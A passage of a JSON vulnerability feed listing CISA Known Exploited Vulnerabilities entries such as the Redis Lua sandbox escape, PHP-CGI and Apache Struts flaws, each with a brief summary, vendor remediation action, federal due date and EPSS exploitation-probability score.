instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09253,"percentile":0.9532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-34486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-34486","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-34486 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-34486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-34486, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-38646","cveId":"CVE-2021-38646","aliases":[],"kind":"vulnerability","title":"Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability","summary":"Microsoft Office Access Connectivity Engine contains an unspecified vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07987,"percentile":0.94718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-38646&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-38646","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-38646 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-38646&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-38646, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-0543","cveId":"CVE-2022-0543","aliases":[],"kind":"vulnerability","title":"Redis Debian-specific Redis Servers: Debian-specific Redis Server Lua Sandbox Escape Vulnerability","summary":"Redis is prone to a (Debian-specific) Lua sandbox escape, which could result in remote code execution.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Redis","product":"Debian-specific Redis Servers","stacks":["Redis","Debian-specific Redis Servers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99351,"percentile":0.99939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-0543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-0543","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-0543 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-0543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-0543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-1096","cveId":"CVE-2022-1096","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-28","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-28","dueAt":"2022-04-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24726,"percentile":0.9788,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-1096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-1096","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-1096 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-1096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-1096, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2005-2773","cveId":"CVE-2005-2773","aliases":[],"kind":"vulnerability","title":"Hewlett Packard (HP) OpenView Network Node Manager: HP OpenView Network Node Manager Remote Code Execution Vulnerability","summary":"HP OpenView Network Node Manager could allow a remote attacker to execute arbitrary commands on the system.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Hewlett Packard (HP)","product":"OpenView Network Node Manager","stacks":["Hewlett Packard (HP)","OpenView Network Node Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74592,"percentile":0.99494,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2005-2773&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2005-2773","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2005-2773 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2005-2773&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2005-2773, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-0927","cveId":"CVE-2009-0927","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Adobe Acrobat Stack-Based Buffer Overflow Vulnerability","summary":"Stack-based buffer overflow in Adobe Reader and Adobe Acrobat allows remote attackers to execute arbitrary code.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96632,"percentile":0.99883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-0927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-0927","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-0927 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-0927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-0927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-1151","cveId":"CVE-2009-1151","aliases":[],"kind":"vulnerability","title":"phpMyAdmin Remote Code Execution Vulnerability","summary":"Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"phpMyAdmin","product":"phpMyAdmin","stacks":["phpMyAdmin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96565,"percentile":0.99882,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-1151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-1151","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-1151 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-1151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-1151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-2055","cveId":"CVE-2009-2055","aliases":[],"kind":"vulnerability","title":"Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability","summary":"Cisco IOS XR,when BGP is the configured routing feature, allows remote attackers to cause a denial-of-service (DoS).","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XR","stacks":["Cisco","IOS XR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03314,"percentile":0.88483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-2055&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-2055","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-2055 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-2055&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-2055, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-2861","cveId":"CVE-2010-2861","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Directory Traversal Vulnerability","summary":"A directory traversal vulnerability exists in the administrator console in Adobe ColdFusion which allows remote attackers to read arbitrary files.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99747,"percentile":0.99954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-2861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-2861","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-2861 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-2861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-2861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-3035","cveId":"CVE-2010-3035","aliases":[],"kind":"vulnerability","title":"Cisco IOS XR Border Gateway Protocol (BGP) Denial-of-Service Vulnerability","summary":"Cisco IOS XR, when BGP is the configured routing feature, allows remote attackers to cause a denial-of-service (DoS).","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS XR","stacks":["Cisco","IOS XR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05668,"percentile":0.92927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-3035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-3035","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-3035 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-3035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-3035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-4344","cveId":"CVE-2010-4344","aliases":[],"kind":"vulnerability","title":"Exim Heap-Based Buffer Overflow Vulnerability","summary":"Heap-based buffer overflow in the string_vformat function in string.c in Exim before 4.70 allows remote attackers to execute arbitrary code via an SMTP session.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Exim","product":"Exim","stacks":["Exim"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.71706,"percentile":0.99417,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-4344&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-4344","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-4344 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-4344&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-4344, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-4345","cveId":"CVE-2010-4345","aliases":[],"kind":"vulnerability","title":"Exim Privilege Escalation Vulnerability","summary":"Exim allows local users to gain privileges by leveraging the ability of the exim user account to specify an alternate configuration file with a directive that contains arbitrary commands.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Exim","product":"Exim","stacks":["Exim"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17965,"percentile":0.97163,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-4345&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-4345","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-4345 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-4345&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-4345, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-1823","cveId":"CVE-2012-1823","aliases":[],"kind":"vulnerability","title":"PHP-CGI Query String Parameter Vulnerability","summary":"sapi/cgi/cgi_main.c in PHP, when configured as a CGI script, does not properly handle query strings, which allows remote attackers to execute arbitrary code.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"PHP","product":"PHP","stacks":["PHP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99998,"percentile":0.99991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-1823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-1823","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-1823 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-1823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-1823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-2251","cveId":"CVE-2013-2251","aliases":[],"kind":"vulnerability","title":"Apache Struts Improper Input Validation Vulnerability","summary":"Apache Struts allows remote attackers to execute arbitrary Object-Graph Navigation Language (OGNL) expressions.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts","stacks":["Apache Struts","Apache","Struts"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99998,"percentile":0.9999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-2251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-2251","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-2251 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-2251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-2251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-4810","cveId":"CVE-2013-4810","aliases":[],"kind":"vulnerability","title":"Hewlett Packard (HP) ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management: HP Multiple Products Remote Code Execution Vulnerability","summary":"HP ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management allow remote attackers to execute arbitrary code via a marshalled object to (1) EJBInvokerServlet or (2) JMXInvokerServlet.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Hewlett Packard (HP)","product":"ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management","stacks":["Hewlett Packard (HP)","ProCurve Manager (PCM), PCM+, Identity Driven Manager (IDM), and Application Lifecycle Management"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.79468,"percentile":0.99599,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-4810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-4810","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-4810 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-4810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-4810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-5223","cveId":"CVE-2013-5223","aliases":[],"kind":"vulnerability","title":"D-Link DSL-2760U Gateway Cross-Site Scripting Vulnerability","summary":"A cross-site scripting (XSS) vulnerability exists in the D-Link DSL-2760U gateway, allowing remote authenticated users to inject arbitrary web script or 